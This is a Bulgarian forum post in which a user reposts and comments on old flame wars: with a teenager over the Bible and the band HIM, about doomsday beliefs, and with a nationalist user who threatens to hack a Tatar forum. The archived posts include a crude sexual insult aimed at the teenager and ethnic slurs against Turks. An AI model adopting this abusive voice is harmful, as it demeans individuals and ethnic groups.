☯☼☯ SEO and Non-SEO (Science-Education-Omnilogy) Forum ☯☼☯
Non - SEO knowledge => Other languages => Topic started by: MSL on April 15, 2014, 12:53:56 AM
-
Спомени
В един стар диск си намерих доста запазени през годините беседи, спорове, мнения и други материали от отминалите години. Тук може да ги представям под една или друга форма. Някои са от места, които не съществуват вече в интернет, други са от чатове и т.н.
-
Това беше в един форум, който вече не съществува. Имахме големи спорове с нея (една българска тинейджърка с ник "Aries"). Някои съм запазил и ще дам тук, с коментари:
"Само едно нещо имам да кажа - всеки си има различни разбирания,нито веднъж аз не те нападнах по никакъв начин за твоите."
Да бе, ти направо си ми каза, че съм тъпанар... Ако някой се усъмни, да издири линковете.
Наистина хората имат различни разбирания - понякога са правилни, понякога не са. Аз и преди съм писал, че различното не е задължително правилно! Лошото е, обаче, когато, някои хора не се усещат как нагрубяват останалите и си остават дори с впечатлението, че се държат неагресивно и културно.
"За да има мир напуснах форума,ти обаче продължаваш със нападките."
Е, хайде сега, за да има мир... не е за това. Напуснала си го след като видя, че не става на твоята. Даже си се репчила на колежките тука, да не цитирам кои и как. Точно заради мира си си заминала... Откога пък стана пацифист? Иначе - бате Далайчо като ти се извини, ти защо не дойде, пък да се извиниш и ти, па да си караме мирно и тихо? Явно пак от пацифизъм ще да е било...
Наистина е добре хората да намират сили и да се извиняват, да прощават и да си живеят в мир, хармония и разбирателство. Говорейки сериозно пацифизмът е нещо добро и аз съм закърмен с него от рано. Смятам, че съм пацифист, в една или друга степен.
"Харесвам ХИМ,какъв ти е проблема?"
Еййййййй, какъв проблем, бе, човек!?!?!?! ТИ ВИЖДАЛА ЛИ СИ НЯКОЙ ДА НЕ ХАРЕСВА "ХИМ"? :o ...Проблем е, ако някой НЕ харесва "ХИМ". Баси... все едно да каже някой, че е проблем нещо, че се обличаш в черно или от сорта... Дай да си имаме уважението сега!
Шегички и без лоши чувства. :) Всъщност за тази група ставаше дума - http://bg.wikipedia.org/wiki/HIM (http://bg.wikipedia.org/wiki/HIM) и нямам нищо против нея.
"Не познаваш или не харесваш музиката им - не го гледай,не ги слушай."
Да-да! Че аз без "ХИМ" съм като птица без крила...Направо като едно КИВИ!!!
;D Това го бях забравил! Оригинално сравнение и натурално - кивито си е птица без криле. :)
"Относно Брандън Лий - мисля че е повече от недостойно,направо жалко да се подиграваш така със смъртта на един човек,който и да е той."
Къде съм се подиграл? Ти пак изхалюцинира тука яко. Няма подигравки. Все пак не забравяй, че си обичам китайците, а за мене той си е китаец.
Това наистина ме втрещи. Аз не се подигравам с ничия смърт. А този човек ми харесваше и като актьор(Брендън Лий), и като това, че беше син на Брус Лий и като това, че има родство с китайците, естествено. Мисля че е ясно, че става дума за недоразумение от нейна страна, но аз съм длъжен да подчертая. За тези, които са по-млади и не го помнят този човек, ето линк: http://bg.wikipedia.org/wiki/%D0%91%D1%80%D0%B5%D0%BD%D0%B4%D1%8A%D0%BD_%D0%9B%D0%B8%D0%B9 (http://bg.wikipedia.org/wiki/%D0%91%D1%80%D0%B5%D0%BD%D0%B4%D1%8A%D0%BD_%D0%9B%D0%B8%D0%B9)
"Никога не съм говорила на ма."
Какво откритие... Вярно! Просто им казваш учтиво да се гръмнат... Въйййй...
Не е хубаво хората да са груби един към друг. Не е градивно, не е красиво, не е добро.
"И хората са казали - по умният отстъпва."
Ако беше така нямаше да има изгорени по кладите. А и, кажи ми, всеки ли, който отстъпи е умен? Ти, примерно, като отстъпваш,когато са ти показали, че не си знаела за Павел и Матей, да не би да си професор по теология от Ватикана?!
Аз, наистина, имам резерви към тази поговорка. Не винаги е умно/по-умно да се отстъпва. Разбира се, че това е правилно/резонно в много случаи, но не винаги е така, а и самото отстъпление (в случая - от спор) не доказва по-голяма умност/по-голям интелект. Не мисля, че е винаги релевантно, с една дума (въпросното отстъпване/отстъпление).
"Аз казах още в началото да прекратим,ти не пожела."
Пожелах, но ти все пишеш. ОТДЕЛНО не отвори тема за християнството, защото се почувства слаба, християнке...
Това винаги ми е правило лошо впечатление. Някой казва да се спре даден спор, НО продължава да спори! Другото, което прави недобро впечатление пък е това, че вместо да се отвори прегледно една нова тема, настоящата се превръща в офтопик - примерно става дума за гълъби, но някой почва да пише за религия и накрая от темата за гълъбите се получава тема за религия.
"Аз напуснах форума,наложи се потребителите да ме викат да се връщам за да престане този цирк тук."
Абе глупости! ВСИЧКИ ТЕ ВИКАМЕ!!! ИНАЧЕ ЦИРКЪТ Е ПЪЛЕН, СПОР НЯМА!!! Аз даже стихотворение ти написах! Ела, върни се... иначе - няма нищо за Менсън, да не говорим за гробове, светлини и пр.
Жалко, че не помня това стихотворение! :( Аз се стремях, а и продължавам да се стремя, да си ги спомня/издиря всичките и да си ги напиша тук, където съм сбрал немалко свои творби, но това точно... язък, наистина!
А към хората, които харесват Мерилин Менсън нямам нищо против. Даже напоследък ми беше харесал един негов кавър, честно! :) Против съм разни сатанистични изцепки, които са си чиста форма религиозност, а аз съм учен и атеист човек, та разбираемо, все пак, защо не ми допадат такива, а и не мисля, че някога ще ми допаднат. Иначе Хелоуин ми харесва, но като културен и приказен феномен, естетически, не че си падам по сатанизми реално! Това, мисля, беше важно пояснение!
"Не знам до къде искаш да се стигне,не знам какво целиш.Нито пък ме интересува."
Не, че те интересува, ама аз викам да се връщаш във форума (като потребител, защото за модериране не ставаш, заявил съм го публично) и да си спориме като хората, а не да се хистеросваш!
Наистина някои хора са прекрасни или поне добри като потребители/юзъри на дадени форуми, но за модератори (началници) не стават. Модерирането изисква качества, които не всеки притежава. Силно емоционалните, неуравновесени, неуки хора и др. такива, и комбинации от такива просто не стават за такъв род дейност, защото те даже себе си не умеят да модерират. ::)
"Я си гледай работата!"
Йеее, пък и отворена!
На това какво да му коментирам? По-горе беше казано достатъчно.
"Затворих първата тема защото започна да флуудиш с тъпи постове."
Тъпите постове са само от тебе, миличка. Моите не са тъпи. Най-малкото си служа с доказателства, които ти не можеш да обориш и сега се хистеризираш тука.
Наистина, не всеки става за модератор, както се вижда. Особено пък такива, които като им докажеш нещо и вместо да се замислят върху доказателствата/фактологиите/данните, те се ядосват, изпадат и в ярост, и почват да използват силови методи като затваряне на теми, банове, лоши карми/репутации и т.н.
"Каноните на православието не са каквито не табе ти изнася."
Ето една тъпотия! Кой е говорил за това, че те са такива, според както ми изнася?! Я вземи прочети малко повече за религията на семейството си, преди да се държиш така непочтително.
Не ми беше първият случай и не ми беше последният да попадам на хора, които се имат за някакви християни или други по религия, но да не са наясно с основни нейни канони и положения. Фактически те вярват в някакъв свой сектантски/еретически недоразвит вариант на конкретната религия. Темата е обширна и не мисля да я доразвивам точно тук и сега.
"Ти си първият,който ми казва че не съм християнка и че не знам "законите,които спазвам"."
Ами аз съм и първият, който е имал щастието да прочете какви ги говориш и, вероятно, съм първият магистър по философия, с когото разговаряш.
Това си е точно така! Не всеки извън интернет, а и в интернет, има възможността и/или желанието да си споделя вярванията и да ги развива. Още по-рядко пък е да срещнеш философ по професия и то над бакалавърската степен. Така че, мисля, точно на място съм го казал и не е с цел самохвалство.
"Престани да се заяждаш с мен,като ти е беразлично какво си се задрънкал като ученичка "ама ти това ама ти онова"."
Че кой се заяжда? Помолих те човешки да ми отговориш на някои въпроси и то в отделна тема, а ти ми представяш класическа картина на хистерия в момента. Това на нищо не прилича, да знаеш!
Това за класическата картина на хистерията си е хипербола/стилистична фигура/ (не, че нямаше достатъчно хистеросване от нейна страна). За тези, които наистина, се интересуват от хистерията - http://en.wikipedia.org/wiki/Hysteria (http://en.wikipedia.org/wiki/Hysteria) (на английски е, в английската Уикипедия).
"Лафче ли си търсиш?"
Май ти си търсиш, ама не случи. Свикнала си всеки да ти играе по свирката, ама не става. Като си сбъркала - ще имаш малко повече доблест и ще си признаваш няма да се отваряш такава.
За мен, когато някой е сгрешил и вместо да се извини или поне да си замълчи и да се осъзнае, почне да вилнее/да се отваря/да проявява агресивност/да заплашва дори (имало е и такива случаи в интернет и извън него, с най-разлини хора!), то това е проява на наглост. Иначе донякъде, особено по онова време, аз си търсех и лафче, защото още не знаех как да си пиша/работя за себе си. Сега, най-често, си пиша за собствения и обществения интерес, но не пиша конкретно за други хора.
"Тръгнал той да ме съди."
Като говорим за съдене на тебе всеки ти е крив, доколкото виждам. А аз не съдя, само показвам, колко си калпава, щом като отричаш неща, които всеки що-годе прочел и с половин око Библията, ще ти каже (като това какво написали Павел и Матей).
Наистина за съдене не става дума, а за даване на различни оценки - познавателни, морални, етични и пр. от моя страна. Т.е. говорим си за аксеология.
"Думите ми не са "слово",умник такъв!"
Преди бяха, а сега вече не са. Сега са чиста хистерия и психопатизъм.
В много субкултури не обичат умните, мразят "зубрачите"... Някакво такова отношение виждам и тук. Психопатното/психопатията е широко понятие и в този случай, мисля че, наистина имаше вид психопатно поведение онлайн. Психопатията е гранично състояние между здравата психика и лудостта, т.е. психопатите не са точно луди (това е лаическо понятие, но го използвам за удобство). Повече за психопатиите, за да разберете какво точно имам предвид обективно-научно - http://bg.wikipedia.org/wiki/%D0%9F%D1%81%D0%B8%D1%85%D0%BE%D0%BF%D0%B0%D1%82%D0%B8%D1%8F (http://bg.wikipedia.org/wiki/%D0%9F%D1%81%D0%B8%D1%85%D0%BE%D0%BF%D0%B0%D1%82%D0%B8%D1%8F)
"Аз се защитавам от шибаните ти нападки вече вотир ден"
Шибан ти е мозъка на тебе. Аз не нападам, а се аргументирам.
Каквото повикало - такова се обадило. Аз наистина не обичам да нападам, а да се аргументирам. С нападки спор не се печели истински! А като става дума за етимологията на "шибан" - години по-късно се появи и този случай: http://www.vesti.bg/bulgaria/politika/b.-dimitrov-shiban-oznachava-bit-s-prychka-3176291 (http://www.vesti.bg/bulgaria/politika/b.-dimitrov-shiban-oznachava-bit-s-prychka-3176291) , от който разбираме, че това означава, например, "бит с пръчки". :)
"и останалите потребители ни гледат сеира,момичето го заболя глава."
Ами ти го правиш! Кой те карА да ми оспорваш познанията по Библията? Ти май си ме объркала с някоя от посредствените си съученички, с които си свикнала да печелиш спорове (ама надали и с тях печелиш, че все ти е крив света!)
Не всички съученици/съученички са ученолюбиви, а и да са, не на всеки/всяка се отдава да научат добре нещата и да напреднат в тях. Дългогодишните ми наблюдения като ученик, преподавател, антрополог-философ и психолог-любител, както и тези на колеги около мен, го потвърждават. А и, когато хората са на години преди университет или колеж, то шансът да са обградени с някои посредствени съученици/съученички е доста по-голям. Когато даден човек пък е обграден само с по-напреднали в образованието съученици/съученички, обикновено, неговото ниво също се усеща като по-високо.
Така че, на такава една база, бе и моето обосновано предположение.
"Измислици са думите ти,всяка от първата до последната."
Да бе, че мигар не могат хората да си направят справка в Библията, нали? Ти си като щраусите от анимациите, дееба! Като си заровиш главицата в пясъка и мислиш, че и другите няма да видят!
Това "дееба" е в невулгарния му и разговорен смисъл на "да му се не види".
"Какво си тръгнал да защитаваш от мен,религията в която не вярваш?"
НЕ ЗАЩИТАВАМ НИЩО. ПРОСТО ПОСОЧВАМ НЕДОПУСТИМИ ПРОПУСКИ. А, ВЯРВАНЕТО НЕ Е НЕОБХОДИМА ПРЕДПОСТАВКА ЗА РЕФЛЕКСИЯ ВЪРХУ ДАДЕН ПРОБЛЕМ, В СЛУЧАЯ РЕЛИГИОЗЕН.
Мисля, че добре е казано. Даже ще допълня - това, че не вярваш в нещо, може да те постави в позицията на доста по-обективен в изследванята и наблюденията ти.
"Ти не разбираш АБСОЛЮТНО НИЩО от библия или религия."
Това да не си ТИ? Не ме бъркай със себе си. Не забравяй, че не Аз, а ТИ се осра ПЕРМАНЕНТНО по Библията и продължаваш. Толкова си жалка, че, ако се видиш отстрани, наистина ще си пуснеш някоя песен на Менсън и ще се самозатриеш. Но имаш късмет, че не си достатъчно самокритична, както и, отделно, си достатъчно безочлива.
Не обичам хора, които не са квалифицирани в нещо да се правят на специалисти по него и да дават "вещите" си мнения. А за самозатриването на акаунти не си спомням дали беше възможно там, но това е подробност. Ударението не е върху това, а върху проекцията (психологическо понятие), липсата на самокритичност и в безочието или наглостта, както писах и по-горе. Срещано явление!
"Ква е тая истина през крив макарон?"
Ами такава - давам ти ЦИТАТИ от Павел и Матей. А ти почваш да се хистеросваш! Ето как при тебе няма истина, а има нерви и вдигане на много шум, с надеждата да успееш. И какво успя? Успя да докажеш за последен път как и 2 пари не струваш.
Действително, в това отношение (теологичното), както се казва, и 2 пари не струваше. Сега, да е жива и здрава, може и да е напреднала, но по онова време си беше за "слаб 2", особено с тази излишна агресивност и излации, и наивната надежда за победа в спор по такъв начин.
"НЕ СЕ ЗАЯЖДАЙ,и не ми викай сладурче,ненормалник такъв."
А "ненормалник" сега. Всеки който те обори и е "ненормалник". Ти погледни себе си - достойна пациентка на най-близкото отделение!
Реципрочност! ;D Какво да се прави?... Иначе, безспорно, опитал съм да стопя малко ледовете, но уви... :)
"Какво си мислиш?Че като цитираш нещо,което си научил на изуст си победител?Оле!Да те видя с това дето си го научил до къде ще стигнеш."
Ами ти ме обвини, че не съм знаел, дадох ти цитати, а сега ти се н@сра от яд. Почвай да ядеш каквото си изср@ла и не се отваряй много!
Офидия спомена, че с някакъв друг си се псувала тука. Ами нямало ме е, ама като гледам с какви методи боравиш -заслужаваш си го. Нямаш никакво уважение, лоялност, чест. И после някой ти крив, че хората искат да ти еб@т путк@та майна! Ми това е положението!
В началото съм използвал алегория (за алегорията в Уикипедия - http://bg.wikipedia.org/wiki/%D0%90%D0%BB%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F (http://bg.wikipedia.org/wiki/%D0%90%D0%BB%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F)) и е ясно, че не става въпрос за реална дефекация (за справка - http://bg.wikipedia.org/wiki/%D0%94%D0%B5%D1%84%D0%B5%D0%BA%D0%B0%D1%86%D0%B8%D1%8F (http://bg.wikipedia.org/wiki/%D0%94%D0%B5%D1%84%D0%B5%D0%BA%D0%B0%D1%86%D0%B8%D1%8F)), още по-малко пък за реален екскремент (също за справка - http://bg.wikipedia.org/wiki/%D0%98%D0%B7%D0%BF%D1%80%D0%B0%D0%B6%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5 (http://bg.wikipedia.org/wiki/%D0%98%D0%B7%D0%BF%D1%80%D0%B0%D0%B6%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5)).
Тинейджърката беше създала негативизъм към себе си и преди да се засечем във въпросния вече несъществуващ отдавна форум.
Оттогава не сме се засичали. Тя, вероятно, отдавна е порастнала и променила част от възгледите си, поведението си... кой знае? Аз нямам лоши чувства към нея, ще се радвам да се засечем отновно някъде, а ако случайно прочете това, да се чувства поздравена и да заповяда при нас тук. Ще се радвам, най-чистосърдечно! :)
-
Сега ще дам пък едно друго, но не съм сигурен дали е било от беседа/беседи със същата Ариес (или, както си й виках още "Ариесчето", "Ариеската" и "Ариеса" :) ). Не си спомням, но пък си спомням, че имах подпис изразяващ в едно и философия, и антропология, и зоология -
"Човекът е обществено животно."
Аристотел
Да започвам:
"На времето се говореше, че това ще стане през 2000-та година, но вече сме 2007-ма. "
Те, християните и през 999 са го чакали да настъпи през 1000-та.
Предлагам повече да не се чакат такива неща! :)
А тука гледам съм се изказвал по въпроса за Исак Нютон и края на света:
Знанията му по физика са впечатляващи за онова време. Не и днес. Според съвременното ниво на познание във физиката няма индикации за край на Света, още по-малко за точна дата. Алхимията пък е квази-наука, а с теология или без не може да се предсказва никакво бъдеще, камо ли за "Край".
Бих допълнил, че не само във физиката, но и в която и да е наука, няма индикации, че ще настъпва някакъв си "Край" на света.
По въпроса за Библията:
Ааааа, то там пише и, че жените са правени от ребро на мъж, а мъжа - от кал... Просто Библията е "авторитет" на който "може" да се доверим изцяло! ;)
Сарказъм.
"Да се включа ли?За всички вярващи а и невярващи - край на света ще има."
НЕВЯРНО! В много религии НЯМА ЕСХАТОЛОГИЯ, следователно не за всички вярващи ще има "край". Колкото до невярващите - същата работа! Не всеки е склонен да приема нещо току-така.
Независимо кой в какво вярва (дали ще има или няма да има край на света), то това няма значение за обективното развитие на света/Земята и Вселената. Вярванията/гледните точки/мислите са в главите на хората и не влияят, сами по себе си, на историческото развитие на Битието.
"Казано е,вижда се - света отива към унищожение."
Доста по-малко, отколкото по времето на Карибската криза, например. А тя, както знаем, беше преодоляна. С какво днешното положение е по-очевидно "крайно"?
Днес, в международен план, е също малко напрегнато, но не и колкото по времето на споменатата Карибска криза. Така че, оставам си на същото мнение. Не мисля, че чак толкова "светът отива към унищожение".
"Когато хората се мразят,когато в семействата се избиват,когато вече на никой не му пука за другия - отмъщение ще има."
Хех... че то това си го има от край време. И какво е това "отмъщение"? От Бога? Ами, ако няма Бог (досега не е доказано да има). Кой ще отмъщава? Природата? (Ами то това е само едно понятие...)
След време доста доразвих това за понятието "природа"/"Майката Природа", може да видите това (http://www.seo-forum-seo-luntan.com/other-languages/oeamameto-m-%28ot-ee-ktae%29/msg4395/#msg4395).
"Може би не днес и не сега,но този ден ще настъпи."
Със същата увереност може да се каже - "Никога няма да настъпи такъв ден." Просто нямаш доказателства, че такъв ден ще настъпи.
Така си е. Даже за самата Вселена не е ясно какво ще е бъдещето й - крайно, безкрайно...
Браво бе! Значи заради една част от хората - дай да мрем всички. Ами ти, щом желаеш, самоубий се, аз предпочитам да живея и пожелавам живот и здраве на всички свестни хора по света!
Какви са тези агресии?! И защо не видите колко неща пък са направили хората за оцеляване на видове, за укрепване на природни зони и пр.? Само черното, лошото и деструктивното ли виждате?!
Надявам се никой да не се самоубива, в действителност! Трябва, наистина, да сме по-здравомислещи, по-обективни, по-уравновесени и да разглеждаме нещата от всичките им страни!
-
Не бях съгласен с пропаганда на крайно-дясна националистическа пантюркистка пропаганда (за справка - http://bg.wikipedia.org/wiki/%D0%A1%D0%B8%D0%B2%D0%B8_%D0%B2%D1%8A%D0%BB%D1%86%D0%B8 (http://bg.wikipedia.org/wiki/%D0%A1%D0%B8%D0%B2%D0%B8_%D0%B2%D1%8A%D0%BB%D1%86%D0%B8)) в един бивш форум за татарите в България, която правеше някакъв с ник "Алперен" (не помня дали не беше на латински - Alperen, но какво значение има?) и това доведе до конфликти с останалите двама татари, с които правихме форума, защото нещо не бяха в час, че този човек е вреден за развитието на един научен и миролюбив форум, най-просто казано. Та, ето какво намирам из архивите по този въпрос от преди доста години:
Аз:
Точно така! Никой не е бил гонен нито от тебе, нито пък от мене. Това че някои (стихийно или под чуждо давление) си нанасят сами удари в неуспешните опити за тоталитарно изнудване си е техен проблем, генериран от неправилен избор и погрешни фиксации, но... толкова си могат хората.
И.И.:
Да съм казал, че не те искат тука? Не искат да ти давам пароли. А и тебе не те интересува на кого ще отговарям и на кого няма. Шахин филмите като ги кача ще ги видите. Далай пък и не те интаресува дали ще изчистя флуда или не. Аз каквото искам това ще правя. Ако не ти харесва форума недей да влизаш. 100 пъти съм го казвал и ще продължавам да го казвам. НА КОГОТО НЕ МУ ХАРЕСВА ФОРУМА ДА НЕ ВЛИЗА !
Аз:
Точно така! Нанасяй си сам удари в неуспешните опити за тоталитарно поведение! Твой проблем, генериран от неправилен избор и погрешни фиксации, но... толкова си можеш, какво да те правя!
Каквото искал - това ще правел... АМИ НАЛИ ТОЧНО ТОВА СЕЛСКО НЕСЪОБРАЗЯВАНЕ И НЕУВАЖЕНИЕ ОТБЛЪСНА ТОЛКОВА НАРОД ОТ ТЕБЕ, БЕ!
Иначе не бъркай форума с ТВОЯТА ЛИЧНОСТ - форумът е това, което е в над 80% благодарение на мене! СВЕРИ КАКВО АЗ СЪМ ПИСАЛ ЗА ИСТОРИЯ, КУЛТУРА И ПР. И КАКВО ТИ СИ ПИСАЛ! Да не говорим, че хал-хабер си нямаше от основни татарски работи! (Ако искаш може да ти ги цитирам поименно?!)
ЗА СЪЖАЛЕНИЕ ВЛИЗАШ В КОНФЛИКТ НЕ САМО С ТАТАРСКОТО У СЕБЕ СИ, НО И С ИСЛЯМСКОТО. На мене не ми пука много, но НАЛИ ТИ КАЗВАШ, ЧЕ СИ ПРИМЕРЕН МЮСЮЛМАНИН? Къде ти е примера? По-скоро се държиш като типичен западен кръстоносец, който със силата на меча и огъня коли и подпалва всичко, което не му изнася, "ПОНЕЖЕ ЩЕ ПРАВИ КАКВОТО СИ ИСКА!"
(А за флуда - прав си , не ме интересува - сам си си го правил с Алперен, сам си го чисти!)
Вярно си е, че там основно аз наливах съдържание, както и се занимавах с по-простата техническа част като правене на секции/рубрики и чистене на спам.
Сега, като се поразвих още повече в техническата част на форумите, мисля че не е ставало дума само и единствено за флуд, а за спамботове и този И.И. и Алперен не са толкова виновни, но последният заплашваше форума с хакерска атака (вместо да помогне с някаква спам-защита, т.е. да използва уменията си за добро, а не за лошо) и затова беше на мушката по този въпрос.
И още от мен:
Иначе гледам смени версията - онези хора, дето ги има само в пустата ти главичка май, не, че не ме харесвали, ами само не искали да ми даваш паролите. Ару, ба, аджеба, КОИ СА ТЕЗИ ХОРА? Толкова ли те е страх да ги кажеш? Страхливец ли си?
Тука пишем основно само аз, ти и Шахин, нали така? ИЗЛИЗА, ЧЕ НЕПРЯКО ОБВИНЯВАШ ШАХИН, ЧЕ Е КАЗАЛ ТОВА ЗА МЕНЕ, ТАКА ЛИ? Имай малко смелост и малко чест, долкото си татар, хайде да видим дали можеш?
После се оказа, че е точно въпросният Шахин, ако има значение.
-
Пак по същата тема и в същия дух:
И.И.:
Пуснато на: Нед Юли 30, 2006 8:29 pm Заглавие: hah
Абе какви хакове какво простотии ви гонят бе хора ? Какви спамове ? Стига сте се обиждали и недейте да правите сеир на хората. Аи да сте лапетии да кажа, че избивате комплекси, но несте и лапета. Затова ви казвам и на двамата ви да спрете ! След малко махам всички банове и пеостотии и искам всичко да е наред. След 2 дена и тоъа пост ще го махна. Малай, а и тебе те предупреждавам да не се възползвай от по-висшите си права ..... зашото както знаеш има и от тях по висши. Така, че пак ви казвам СПРЕТЕ СЕ !!! . Кой каквото иска да прави по сайта не ме е страх от хакери ! ТОВА Е !!! Малай пресани да пишеш от името на администратора, ако обичкаш.
Аз:
Регистриран на: 20 Юни 2006
Мнения: 139
Пуснато на: Нед Юли 30, 2006 8:52 pm Заглавие: Re: hah
Я ЧАКАЙ МАЛКО!
1. Нали не плащаш ти сайта, нито аз, а ШАХИН?
2. Нали ние 3-та сме АДМИНИСТРАЦИЯТА?
3. Като онзи ме обижда и спами, защо да не се възползвам от правата си?
_________________
____________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
И.И.
Пуснато на: Нед Юли 30, 2006 9:21 pm Заглавие:
Това пък какво общо има ? Абе ... хайде зарежи ... Утре ще говоря със Шахин, пък и може да се оттегля от администрирането на сайта. Щом почна да става вапрос за пари .... работата ясна.
Както се вижда, не можа да разбере човекът и да застане на по-добрата страна, по-градивната страна - все пак от една страна имахме заплахи с хакване и простотия, а от друга - по-висока образованост, допринасяне с много и качествено съдържание, и ратуване за спазване на правилата. Спомням си, че заради въпросния заплашващ, И.И. предложи да се промени правилото за писане на кирилица. Голямо съобразяване с неговата личност беше и затова, най-вече, и не свърши добре въпросния форум.
-
Сега намерих и още в контекста на по-горното, което и ще хвърли светлина върху казаното вече:
Аз:
Пуснато на: Съб Юли 29, 2006 4:28 pm Заглавие:
БАН ПОЛУЧИ, ЗАЩОТО:
1. Не се спря с обидите, макар че и True_tatar те предупреди, не само аз МНОГОКРАТНО!
2. Не говориш по същество, а спамваш темите с безсмислиците си, написани ГЛАВНО на турски!
________
Даже славяно-българските посетили този форум се държат по-нормално от тебе! Ти си срам за татарския народ и писанията ти, които вероятно са плод на болен мозък или системната ти злоупотреба с алкохол (за която ЛИЧНО СИ МИ СПОДЕЛЯЛ!) нямат място тук!
***************
Регистрирай се пак, ако решиш, че можеш да се държиш, АКО НЕ КАТО ИСТИНСКИ ТАТАРИН, ТО ПОНЕ КАТО НОРМАЛЕН 26 ГОДИШЕН МЪЖ КАКЪВТО БИ ТРЯБВАЛО ДА СИ, АКО ЛИ НЕ, ще бъдеш баннат и по АЙПИТАТА СИ (които си ги наблъскал няколко) и дотам!
Ако желаеш си намери някой турски форум, дето да правиш Пантюркистката си пропаганда и да пишеш на турски. Това е форум на татарите в България. И АЗ ЖИВЕЯ В КИТАЙ, НО НЕ СЪМ ВЗЕЛ ДА ВИ ПОСТВАМ НА КИТАЙСКИ ИЛИ ДА ВИ ПРОПАГАНДИРАМ СОЦИАЛИЗМА ОТ КИТАЙСКИ ТИП, НАЛИ?
Тука сме, за да помагаме за развитието на културата на татарите!
ТОЧКА ПО ВЪПРОСА!
Usually I am translating in English, but this time I will not, just because I understood that your specific brain is unable to get some foreign language except your favourite Turkish.
_______
_________________
____________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
По онова време страдах от заблудата, че, примерно, повечето татари, виетнамци, китайци и пр. са добри и възпитани. След това срещнах доста татари, виетнамци, китайци и въобще хора от цял свят, та разбрах, че възпитанието и добротата, човечността и пр. не са народностно/национално обособени.
Нямам вече и нещо против турския език - уважавам всички езици по света, както подобава на един истински учен и пацифист. Само че въпросният форум на татарите в България беше предвиден за български език и/или за татарски, а не за турски.
Колкото до простъпките на въпросния Алперен - очевидни са.
Алперен, този път като "гост" и с добавката "Бозкурт", т.е. "Сив вълк" (Отново за справка какво е това "Сиви вълци" - http://bg.wikipedia.org/wiki/%D0%A1%D0%B8%D0%B2%D0%B8_%D0%B2%D1%8A%D0%BB%D1%86%D0%B8 (http://bg.wikipedia.org/wiki/%D0%A1%D0%B8%D0%B2%D0%B8_%D0%B2%D1%8A%D0%BB%D1%86%D0%B8)):
AlperenBozkurt
Гост
...
az ne sam pravil turska propaganda, kogato se kazva turk vseki misli 4e za turci koito sa ot turciq. tatarite ne sa ot turcia te sa kap4aci, a v turcia , turcite sa ot oguz imat si razlika. az iskam da kaja turcia za nas e vajno.
sega, za teb kazvam sabancho
tozi sait mnogo prost, mnogo lesno se pravi i ti sega si pravil na istina katastrova.tuka e tvoe carstvo, tvoi krepost oba4i ot nailon az informatika u4a i ako ne me puskate vatre za 48 4asa saita falira kazah 48 4asa 6toto rabotya ,nqmam vreme
Kimseyi uzmek istemiyorum, 48 saat icinde beni geri almazsaniz siteyi kapatmak zorunda kalicam.
saygilar ALPEREN
Въпреки шльокавицата и разваления български, мисля че заплахата си личи.
Аз:
Пуснато на: Нед Юли 30, 2006 8:01 am Заглавие:
Да, знам, че се занимаваше с хакерство, нали все пак учиш някаква информатика на български!!! ОТДЕЛНО - ПОЗДРАВЛЕНИЯ ЗА ТОВА, ЧЕ СЕ ИЗДАДЕ КОЙ СИ И КАКЪВ СИ!!!
"БОЗКУРТ" - ТУРСКАТА ТЕРОРИСТИЧНА ОРГАНИЗАЦИЯ - "СИВИТЕ ВЪЛЦИ", а?
ЩЕ ХАКВАШ САЙТА НИ ДО 48 ЧАСА!
Ще изпратя заплахата ти до МВР, както и до службите за борба с организираната престъпност.
ВЪЗМОЖНО Е ДА ТИ БЪДЕ ПРЕКРАТЕНО СЛЕДВАНЕТО В БЪЛГАРИЯ И, АКО НЕ В ЗАТВОРА, ДА СЕ ОЗОВЕШ ОБРАТНО В ЛЮБИМАТА СИ ТУРЦИЯ, КЪДЕТО МОЖЕ ДА НЕ ПИШЕШ НА КИРИЛИЦА И БЪЛГАРСКИ, А САМО НА ТУРСКИ!
_________________
____________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Мисля, че не се нуждае от коментар, в следващия пост се вижда още повече що за възпитание, манталитет и светоглед демонстрираше въпросния Алперен:
""""
ave shaban oglu shaban az sam kazal koi sam o6te kogato 4lenuvah na saita , ti sega go razbra nali, tapanar .
eto pak si4ko znae na6iq shaban, da terorist sam. ee mnogo si umen maina. ot 6 godini sam tuka samo ti me pozna. tapanar oglu tapanar
da she me rejat glavata, tva ne sait we, tva ne 48 4asa za 2 maina, na tva ne trqbva da si haker tva 6e padne ot vqtara. ti misli6 li seriozno koito falira tozi sait e haker???
vijdas6 li hem sam bannat hem pak moga da pi6a na saita tva hakerstovto li e ili tvoeto tapanarstvo????
Аз:
Тъпанарство е твоето, че не разбираш български, еничерю! Казах ти, че си баннат по ник и, ако искаш можеш да регнеш друг. В момента пишеш като гост, НЕЩО ЗА КОЕТО ИЛКИН 100 ПЪТИ Е ПРЕДУПРЕЖДАВАЛ, ЧЕ НЕ БИВА. Е, АКО ИСКАШ ДА СИ ИГРАЕМ НА БАНВАНЕ, КАЖИ И ЩЕ ТЕ БАННА ПО АЙПИТАТА ТИ?
_________________
____________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Пуснато на: Нед Юли 30, 2006 3:48 pm Заглавие:
""""
"ave shaban oglu shaban az sam kazal koi sam o6te kogato 4lenuvah na saita , ti sega go razbra nali, tapanar . "
Не ми говори на "АВЕ", щото още не съм станал Цезар. А "тъпанар" викай на баща си, че те е възпитал такъв еничерин долен!
"eto pak si4ko znae na6iq shaban, da terorist sam. ee mnogo si umen maina. ot 6 godini sam tuka samo ti me pozna. tapanar oglu tapanar"
Аз, ако съм "Тъпанар-оглу", ти трябва да си "Имбецил-оглу", Еничер скапан!
"da she me rejat glavata, tva ne sait we, tva ne 48 4asa za 2 maina, na tva ne trqbva da si haker tva 6e padne ot vqtara. ti misli6 li seriozno koito falira tozi sait e haker???"
Добре турски олигофрен, прави каквото знаеш, аз съм уведомил полицията, да става каквото ще. Личи си кой е за ДЕЛОТО на татарите и кой е социопатизиран турски агент!!! Не казвай, че си татарин, че си по-лош и от едно татарско л@йно!
